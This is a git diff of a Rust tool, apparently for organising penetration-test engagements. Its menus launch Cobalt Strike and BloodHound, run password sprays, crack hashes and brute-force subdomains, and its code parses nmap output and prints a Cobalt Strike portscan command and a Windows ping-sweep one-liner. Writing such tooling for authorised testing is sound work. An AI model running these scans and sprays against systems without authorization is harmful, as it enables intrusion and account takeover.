"1" => {let thread_option = cli::run_command("show active project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"2" => {let thread_option = cli::run_command("list &mut projects".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"3" => {let thread_option = cli::run_command("switch project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"5" => {let thread_option = cli::run_command("save &mut projects".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"6" => {let thread_option = cli::run_command("import project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"7" => {let thread_option = cli::run_command("remove project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"8" => {let thread_option = cli::run_command("show upcoming &mut projects".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"9" => {let thread_option = cli::run_command("promote project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"10" => {let thread_option = cli::run_command("new terminal".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"11" => {let thread_option = cli::run_command("inline terminal".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"12" => {let thread_option = cli::run_command("cobalt strike".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"13" => {let thread_option = cli::run_command("recreate distrobox".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"14" => {let thread_option = cli::run_command("generate userpass".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"15" => {let thread_option = cli::run_command("initial enum".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"16" => {let thread_option = cli::run_command("build attack notes".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"17" => {let thread_option = cli::run_command("host discovery".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"18" => {let thread_option = cli::run_command("port scan".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"19" => {let thread_option = cli::run_command("parse port scan".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"20" => {let thread_option = cli::run_command("stop boxes".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"21" => {let thread_option = cli::run_command("password spray".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"22" => {let thread_option = cli::run_command("bloodhound".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"23" => {let thread_option = cli::run_command("parse gather contacts".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"24" => {let thread_option = cli::run_command("prune distroboxes".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"25" => {let thread_option = cli::run_command("dns records".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"26" => {let thread_option = cli::run_command("brute force subdomains".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"27" => {let thread_option = cli::run_command("dns enumeration".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||||
|
"28" => {let threads_option = external_menu(banner, &mut projects, config_path.clone(), settings); if threads_option.is_some(){for thread in threads_option.unwrap(){threads.push(thread);}}},
|
||||||
|
"29" => {let threads_option = internal_menu(banner, &mut projects, config_path.clone(), settings); if threads_option.is_some(){for thread in threads_option.unwrap(){threads.push(thread);}}},
|
||||||
|
"30" => loopize = false,
|
||||||
|
_ => println!("{}","unknown selection, try again!".red()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if threads.len() > 0{
|
||||||
|
return Some(threads);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
pub fn external_menu(
|
||||||
|
banner: &str,
|
||||||
|
mut projects: &mut Vec<Project>,
|
||||||
|
config_path: PathBuf,
|
||||||
|
settings: &HashMap<&str, String>
|
||||||
|
) -> Option<Vec<JoinHandle<()>>>{
|
||||||
|
let mut loopize = true;
|
||||||
|
let mut threads = Vec::new();
|
||||||
|
while loopize {
|
||||||
|
let _enter_to_clear = get_user_input("press enter to display external project menu.");
|
||||||
clear().expect("error clearing screen");
|
clear().expect("error clearing screen");
|
||||||
match response.as_str().trim_end(){
|
print!("
|
||||||
"1" => println!("\nclient: {}\n\nproject: {}\n\nbox: {}\n\nproject files: {}\n\nproject notes: {}\n", active_project.customer ,active_project.project_name, active_project.boxname, active_project.files_folder.display(), active_project.notes_folder.display()),
|
{}
|
||||||
"2" => {println!("+++++++++++++++++++++");
|
{}
|
||||||
for project in &projects{
|
\n", banner.custom_color((255,165,0)), "
|
||||||
println!("++Customer: {}|Project name: {}|Stage: {}++",project.customer ,project.project_name, project.stage)}
|
_____ _ _ ___ ___
|
||||||
println!("++++++++++++++++++++")},
|
| ___| | | | | | \\/ | _
|
||||||
"3" => project_controls::switch_project(&mut projects),
|
| |____ _| |_ ___ _ __ _ __ __ _| | | . . | ___ _ __ _ _(_)
|
||||||
"4" => {new_id = new_id + 1; start_pentest::start_pentest(&config_path, &mut projects, new_id, upcoming_files, upcoming_notes, &boxtemplate, password_spray_file)},
|
| __\\ \\/ / __/ _ \\ '__| '_ \\ / _` | | | |\\/| |/ _ \\ '_ \\| | | |
|
||||||
"5" => project_controls::save_projects(&projects, &config_path),
|
| |___> <| || __/ | | | | | (_| | | | | | | __/ | | | |_| |_
|
||||||
"6" => {new_id = new_id + 1; project_controls::new_project(&mut projects, &base_files, &base_notes, &tools_dir, &boxtemplate, &config_path, new_id, &upcoming_files, &upcoming_notes, fingerprint)},
|
\\____/_/\\_\\\\__\\___|_| |_| |_|\\__,_|_| \\_| |_/\\___|_| |_|\\__,_(_)
|
||||||
"7" => project_controls::remove_project(&mut projects, &config_path),
|
1 .) Show Active Project
|
||||||
"8" => project_controls::print_upcoming_projects(&projects),
|
2 .) List Projects
|
||||||
"9" => project_controls::promote_project(&mut projects, &config_path, base_files, base_notes, tools_dir, &boxtemplate, fingerprint),
|
3 .) Switch Active Project
|
||||||
"10" => box_controls::project_standalone_terminal(active_project.clone(), terminal.clone()),
|
4 .) create new project with Pyro's default layout
|
||||||
"11" => box_controls::project_inline_terminal(active_project.clone()),
|
5 .) Save Project Information
|
||||||
"12" => {let cs_thread = box_controls::launch_cobalt_strike(active_project.clone()); if cs_thread.is_some(){threads.push(cs_thread.unwrap());}},
|
6 .) Import New Project to Current projects list - and setup new Distrobox
|
||||||
"13" => box_controls::make_box(&active_project, &tools_dir, &boxtemplate, false, fingerprint),
|
7 .) Remove Project
|
||||||
"14" => info_controls::open_in_dolphin("files", active_project.clone()),
|
8 .) Print upcoming projects
|
||||||
"15" => info_controls::open_in_dolphin("notes", active_project.clone()),
|
9. ) promote project from upcoming to current
|
||||||
"16" => info_controls::generate_userpass(&active_project),
|
10.) Open A New Terminal in Current Active Project
|
||||||
"17" => info_controls::run_initial_enum(&active_project),
|
11.) Open A Terminal In this windows for the current active project
|
||||||
"18" => info_controls::print_report_information(active_project.clone()),
|
12.) re-create the distrobox for the current active project
|
||||||
"19" => info_controls::build_cmd_for_host_discovery(&active_project),
|
13.) generate userpass file from your obsidian notes
|
||||||
"20" => info_controls::build_cs_portscan_cmd(&active_project),
|
14.) run pyro's initail enum script on a nessus csv for the current project
|
||||||
"21" => box_controls::stop_all_boxes(&projects),
|
15.) build external attack notes from host notes
|
||||||
"22" => info_controls::password_spray_help(&active_project, season, lseason, year, &tools_dir, &config_path),
|
16.) Stop All Distroboxes
|
||||||
"23" => info_controls::crack_hashes(&cracking_rig, &active_project, &terminal, &rockyou, &rule),
|
17.) Password Spray (will print password to spray, and wait the obervation window time)
|
||||||
"24" => {let bloodhound_handle = box_controls::launch_bloodhound_gui(active_project.clone()).unwrap(); threads.push(bloodhound_handle);},
|
18.) Parse GatherContacts output file
|
||||||
"25" => {let prune_thread = box_controls::clean_unused_boxes(&projects, &boxtemplate); if prune_thread.is_some(){threads.push(prune_thread.unwrap());}},
|
19.) prune unused distroboxes (free up system storage)
|
||||||
"26" => {project_controls::save_projects(&projects, &config_path);
|
20.) Gather DNS Records
|
||||||
let mut stop = String::new();
|
21.) Brute force Subdomains
|
||||||
println!("stop all boxes?\ny/n");
|
22.) Do all DNS Enumeration
|
||||||
std::io::stdin().read_line(&mut stop).unwrap();
|
23.) exit menu
|
||||||
if stop.contains("y"){
|
".custom_color((255,165,0)));
|
||||||
box_controls::stop_all_boxes(&projects);
|
match get_user_input("selection?").as_str(){
|
||||||
|
"1" => {let thread_option = cli::run_command("show active project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"2" => {let thread_option = cli::run_command("list projects".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"3" => {let thread_option = cli::run_command("switch project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"5" => {let thread_option = cli::run_command("save projects".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"6" => {let thread_option = cli::run_command("import project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"7" => {let thread_option = cli::run_command("remove project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"8" => {let thread_option = cli::run_command("show upcoming projects".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"9" => {let thread_option = cli::run_command("promote project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"10" => {let thread_option = cli::run_command("new terminal".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"11" => {let thread_option = cli::run_command("inline terminal".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"12" => {let thread_option = cli::run_command("recreate distrobox".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"13" => {let thread_option = cli::run_command("generate userpass".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"14" => {let thread_option = cli::run_command("initial enum".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"15" => {let thread_option = cli::run_command("build attack notes".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"26" => {let thread_option = cli::run_command("stop boxes".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"17" => {let thread_option = cli::run_command("password spray".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"18" => {let thread_option = cli::run_command("parse gather contacts".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"19" => {let thread_option = cli::run_command("prune distroboxes".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"20" => {let thread_option = cli::run_command("dns records".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"21" => {let thread_option = cli::run_command("brute force subdomains".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"22" => {let thread_option = cli::run_command("dns enumeration".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"23" => loopize = false,
|
||||||
|
_ => println!("{}", "unknown selection, try again!".red()),
|
||||||
}
|
}
|
||||||
loopize = false},
|
|
||||||
_ => println!("uknonwn selection")
|
|
||||||
}
|
}
|
||||||
if loopize == false{
|
if threads.len() > 0{
|
||||||
break
|
return Some(threads);
|
||||||
}
|
}
|
||||||
println!("\n\n\npress enter to return to the menu");
|
else{
|
||||||
let mut enter = String::new();
|
return None;
|
||||||
std::io::stdin().read_line(&mut enter).unwrap();
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn internal_menu(
|
||||||
|
banner: &str,
|
||||||
|
mut projects: &mut Vec<Project>,
|
||||||
|
config_path: PathBuf,
|
||||||
|
settings: &HashMap<&str, String>) -> Option<Vec<JoinHandle<()>>>{
|
||||||
|
let mut loopize = true;
|
||||||
|
let mut threads = Vec::new();
|
||||||
|
while loopize {
|
||||||
|
let _enter_to_clear = get_user_input("press enter to display internal project menu.");
|
||||||
|
clear().expect("error clearing screen");
|
||||||
|
print!("
|
||||||
|
{}
|
||||||
|
{}
|
||||||
|
\n", banner.custom_color((255,165,0)), "
|
||||||
|
_____ _ _ ___ ___
|
||||||
|
|_ _| | | | | | \\/ | _
|
||||||
|
| | _ __ | |_ ___ _ __ _ __ __ _| | | . . | ___ _ __ _ _(_)
|
||||||
|
| || '_ \\| __/ _ \\ '__| '_ \\ / _` | | | |\\/| |/ _ \\ '_ \\| | | |
|
||||||
|
_| || | | | || __/ | | | | | (_| | | | | | | __/ | | | |_| |_
|
||||||
|
\\___/_| |_|\\__\\___|_| |_| |_|\\__,_|_| \\_| |_/\\___|_| |_|\\__,_(_)
|
||||||
|
1 .) Show Active Project
|
||||||
|
2 .) List Projects
|
||||||
|
3 .) Switch Active Project
|
||||||
|
4 .) create new project with Pyro's default layout
|
||||||
|
5 .) Save Project Information
|
||||||
|
6 .) Import New Project to Current projects list - and setup new Distrobox
|
||||||
|
7 .) Remove Project
|
||||||
|
8 .) Print upcoming projects
|
||||||
|
9. ) promote project from upcoming to current
|
||||||
|
10.) Open A New Terminal in Current Active Project
|
||||||
|
11.) Open A Terminal In this windows for the current active project
|
||||||
|
12.) open cobalt strike in the current project's distrobox
|
||||||
|
13.) re-create the distrobox for the current active project
|
||||||
|
14.) generate userpass file from your obsidian notes
|
||||||
|
15.) print host discvoery command for internal pingsweep
|
||||||
|
16.) print cobalt strike portscan command to include all in scope ranges
|
||||||
|
17) parse a cobalt strike portscan CSV
|
||||||
|
18.) Stop All Distroboxes
|
||||||
|
19.) Password Spray (will print password to spray, and wait the obervation window time)
|
||||||
|
20.) open bloodhound in the current project's distrobox
|
||||||
|
21.) prune unused distroboxes (free up system storage)
|
||||||
|
22.) exit menu
|
||||||
|
".custom_color((255,165,0)));
|
||||||
|
match get_user_input("selection?").as_str(){
|
||||||
|
"1" => {let thread_option = cli::run_command("show active project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"2" => {let thread_option = cli::run_command("list projects".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"3" => {let thread_option = cli::run_command("switch project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"5" => {let thread_option = cli::run_command("save projects".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"6" => {let thread_option = cli::run_command("import project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"7" => {let thread_option = cli::run_command("remove project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"8" => {let thread_option = cli::run_command("show upcoming projects".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"9" => {let thread_option = cli::run_command("promote project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"10" => {let thread_option = cli::run_command("new terminal".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"11" => {let thread_option = cli::run_command("inline terminal".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"12" => {let thread_option = cli::run_command("cobalt strike".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"13" => {let thread_option = cli::run_command("recreate distrobox".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"14" => {let thread_option = cli::run_command("generate userpass".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"15" => {let thread_option = cli::run_command("host discovery".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"16" => {let thread_option = cli::run_command("port scan".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"18" => {let thread_option = cli::run_command("stop boxes".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"19" => {let thread_option = cli::run_command("password spray".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"20" => {let thread_option = cli::run_command("bloodhound".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"21" => {let thread_option = cli::run_command("prune distroboxes".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"22" => loopize = false,
|
||||||
|
_ => println!("{}", "unknown selection, try again!".red()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if threads.len() > 0{
|
||||||
|
return Some(threads);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return None;
|
||||||
}
|
}
|
||||||
println!("this will hang until all threads are finished.");
|
|
||||||
println!("make sure to close all programs opened with this menu, like cobalt strike or bloodhound.");
|
|
||||||
for thread in threads{
|
|
||||||
thread.join().unwrap();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
843
pentest_tool/src/portscan_controls.rs
Normal file
843
pentest_tool/src/portscan_controls.rs
Normal file
@@ -0,0 +1,843 @@
|
|||||||
|
use std::collections::HashMap;
|
||||||
|
use std::fs;
|
||||||
|
use std::fs::{read_to_string, create_dir_all};
|
||||||
|
use std::io::Write;
|
||||||
|
use std::path::PathBuf;
|
||||||
|
use std::process::Command;
|
||||||
|
use std::thread::{sleep, spawn, JoinHandle};
|
||||||
|
use std::time::Duration;
|
||||||
|
use colored::Colorize;
|
||||||
|
use walkdir::WalkDir;
|
||||||
|
use crate::{get_user_input, print_error, print_informational, print_success};
|
||||||
|
use crate::Project;
|
||||||
|
use crate::open_overwrite;
|
||||||
|
use crate::open_append;
|
||||||
|
use crate::info_controls;
|
||||||
|
|
||||||
|
pub fn parse_normal_nmap_output(project: &Project){
|
||||||
|
let mut found_file = false;
|
||||||
|
let mut found_working = false;
|
||||||
|
let mut file_to_parse = PathBuf::new();
|
||||||
|
let mut save_path = PathBuf::new();
|
||||||
|
let files_folder = project.files_folder.clone();
|
||||||
|
println!("scanning files folder for an nmap file...");
|
||||||
|
let walkdir_result = WalkDir::new(files_folder);
|
||||||
|
for entry_res in walkdir_result{
|
||||||
|
if entry_res.is_ok(){
|
||||||
|
let entry = entry_res.unwrap();
|
||||||
|
let entry_name = entry.path().display().to_string();
|
||||||
|
if entry_name.contains("nmap") || entry_name.contains("port scan") || entry_name.contains("proxychains_output"){
|
||||||
|
file_to_parse = entry.into_path();
|
||||||
|
}
|
||||||
|
else if entry.file_type().is_dir(){
|
||||||
|
if entry.file_name().to_ascii_lowercase().to_string_lossy().contains("working"){
|
||||||
|
save_path.push(entry.path());
|
||||||
|
found_working = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found_working{
|
||||||
|
save_path.push(&project.files_folder);
|
||||||
|
}
|
||||||
|
if file_to_parse.display().to_string().len() > 1{
|
||||||
|
println!("we found {}", file_to_parse.display());
|
||||||
|
let res = get_user_input("is the the file you want to parse?");
|
||||||
|
if res.to_lowercase().contains("y"){
|
||||||
|
found_file = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found_file{
|
||||||
|
println!("ooof the right file was not found.");
|
||||||
|
let file_prompt = get_user_input("please enter the full path to the file you want to parse.");
|
||||||
|
file_to_parse.clear();
|
||||||
|
file_to_parse.push(file_prompt);
|
||||||
|
}
|
||||||
|
let file_read_res = fs::read_to_string(file_to_parse);
|
||||||
|
if file_read_res.is_err(){
|
||||||
|
let error = file_read_res.err().unwrap();
|
||||||
|
println!("{}","ooof error reading the file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let nmap_string = file_read_res.unwrap();
|
||||||
|
let sections: Vec<&str> = nmap_string.split("Nmap scan report for").collect();
|
||||||
|
let mut host_ports = Vec::new();
|
||||||
|
for section in sections{
|
||||||
|
let mut host = String::new();
|
||||||
|
for line in section.split("\n").collect::<Vec<&str>>(){
|
||||||
|
if line.contains("."){
|
||||||
|
if !line.contains("latency"){
|
||||||
|
host = line.trim().to_owned();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
if line.contains("open"){
|
||||||
|
let port = line.split_whitespace().collect::<Vec<&str>>()[0];
|
||||||
|
host_ports.push(format!("{}:{}", host, port));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("done parsing.");
|
||||||
|
if save_path.display().to_string().len() > 1{
|
||||||
|
save_path.push("parsed_namp.txt");
|
||||||
|
println!("default save location is {}", save_path.display());
|
||||||
|
if get_user_input("is this ok?").contains("n"){
|
||||||
|
let user_path = get_user_input("ok where would you like to save it instead?");
|
||||||
|
save_path.clear();
|
||||||
|
save_path.push(user_path);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let user_path = get_user_input("where would you like to save the file?");
|
||||||
|
save_path.clear();
|
||||||
|
save_path.push(user_path);
|
||||||
|
}
|
||||||
|
let save_open_res = fs::OpenOptions::new().create(true).append(true).open(&save_path);
|
||||||
|
if save_open_res.is_err(){
|
||||||
|
let error = save_open_res.err().unwrap();
|
||||||
|
println!("{}","oof error opening the save file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
if get_user_input("do you want to print the results to the console instead?").to_lowercase().contains("y"){
|
||||||
|
for host in &host_ports{
|
||||||
|
println!("{}", host);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut host_port_file = save_open_res.unwrap();
|
||||||
|
save_path.pop();
|
||||||
|
save_path.push("parsed_nmap.tsv");
|
||||||
|
let tsv_open_res = fs::OpenOptions::new().create(true).append(true).open(save_path);
|
||||||
|
if tsv_open_res.is_err(){
|
||||||
|
let error = tsv_open_res.err().unwrap();
|
||||||
|
println!("{}","error opening tsv file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
if get_user_input("do you want to print the results to the console instead?").to_lowercase().contains("y"){
|
||||||
|
for host in &host_ports{
|
||||||
|
println!("{}", host);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut tsv_file = tsv_open_res.unwrap();
|
||||||
|
for host in &host_ports{
|
||||||
|
let outline = format!("{}\n", host);
|
||||||
|
let split_data: Vec<&str> = host.split(":").collect();
|
||||||
|
let ip = split_data[0];
|
||||||
|
let port_split: Vec<&str> = split_data[1].split("/").collect();
|
||||||
|
let port = port_split[0];
|
||||||
|
let proto = port_split[1];
|
||||||
|
let tsv_outline = format!("{}\t{}\t\t{}\n", ip, port, proto);
|
||||||
|
let host_port_write_res = write!(host_port_file, "{}", outline);
|
||||||
|
let tsv_write_res = write!(tsv_file, "{}", tsv_outline);
|
||||||
|
if host_port_write_res.is_err(){
|
||||||
|
println!("error writing data to file...");
|
||||||
|
}
|
||||||
|
if tsv_write_res.is_err(){
|
||||||
|
println!("error writing data to the tsv file...");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn build_cs_portscan_cmd(project: &Project){
|
||||||
|
let mut general_note_path = project.notes_folder.clone();
|
||||||
|
general_note_path.push("general.md");
|
||||||
|
println!("Reading from: {}", general_note_path.display());
|
||||||
|
let mut ranges = Vec::new();
|
||||||
|
let general_note_string = read_to_string(general_note_path);
|
||||||
|
let mut _note_string = String::new();
|
||||||
|
match general_note_string{
|
||||||
|
Err(error) => {println!("error reading file to string!! {}", error); return;},
|
||||||
|
_=> _note_string = general_note_string.unwrap()
|
||||||
|
}
|
||||||
|
let lines: Vec<&str> = _note_string.split("\n").collect();
|
||||||
|
for line in lines{
|
||||||
|
if line.contains("|"){
|
||||||
|
if line.contains("."){
|
||||||
|
let ip = line.split("|").collect::<Vec<&str>>()[1];
|
||||||
|
if ip.contains(","){
|
||||||
|
let ips: Vec<&str> = ip.split(",").collect();
|
||||||
|
for ip in ips{
|
||||||
|
ranges.push(ip.trim_end().trim_start());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
ranges.push(ip.trim_end().trim_start());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let portscan_cmd = "portscan !!! 1-1024,1433,2222,3306,3389,5000-6000,8000,8080,8443 icmp 512";
|
||||||
|
let mut _range_command = String::new();
|
||||||
|
let combined_ranges = ranges.join(",");
|
||||||
|
let final_command = portscan_cmd.replace("!!!", &combined_ranges);
|
||||||
|
println!("{}", final_command);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn build_cmd_for_host_discovery(project: &Project){
|
||||||
|
let mut cobalt_strike_response = String::new();
|
||||||
|
let mut need_shell = false;
|
||||||
|
println!("will you be running this via cobalt strike? (do you need it to start with \"shell\"?");
|
||||||
|
let input_result = std::io::stdin().read_line(&mut cobalt_strike_response);
|
||||||
|
if input_result.is_err(){
|
||||||
|
println!("error getting user input... not really sure how you did this... just pressing enter would work..... wow");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if cobalt_strike_response.to_lowercase().contains("y"){
|
||||||
|
need_shell = true;
|
||||||
|
}
|
||||||
|
let mut general_note_path = project.notes_folder.clone();
|
||||||
|
general_note_path.push("general.md");
|
||||||
|
println!("Reading from: {}", general_note_path.display());
|
||||||
|
let mut ranges = Vec::new();
|
||||||
|
let general_note_string = read_to_string(general_note_path);
|
||||||
|
let mut _note_string = String::new();
|
||||||
|
match general_note_string{
|
||||||
|
Err(error) => {println!("{} {}", "error reading file to string!!".green(), error.to_string().green()); return;},
|
||||||
|
_=> _note_string = general_note_string.unwrap()
|
||||||
|
}
|
||||||
|
let lines: Vec<&str> = _note_string.split("\n").collect();
|
||||||
|
for line in lines{
|
||||||
|
if line.contains("|"){
|
||||||
|
if line.contains("."){
|
||||||
|
let ip = line.split("|").collect::<Vec<&str>>()[1];
|
||||||
|
if ip .contains(","){
|
||||||
|
let ips: Vec<&str> = ip.split(",").collect();
|
||||||
|
for ip in ips{
|
||||||
|
ranges.push(ip.trim_end().trim_start());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
ranges.push(ip.trim_end().trim_start());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut _discovery_command = "";
|
||||||
|
_discovery_command = "(for /L %a IN (1,1,254) DO ping /n 1 /w 3 !!!.%a) | find \"Reply\"";
|
||||||
|
let mut final_command = String::new();
|
||||||
|
for range in ranges{
|
||||||
|
let mut network: Vec<&str> = range.split(".").collect();
|
||||||
|
network.pop();
|
||||||
|
let network_string = network.join(".");
|
||||||
|
let mut _range_command = String::new();
|
||||||
|
if need_shell{
|
||||||
|
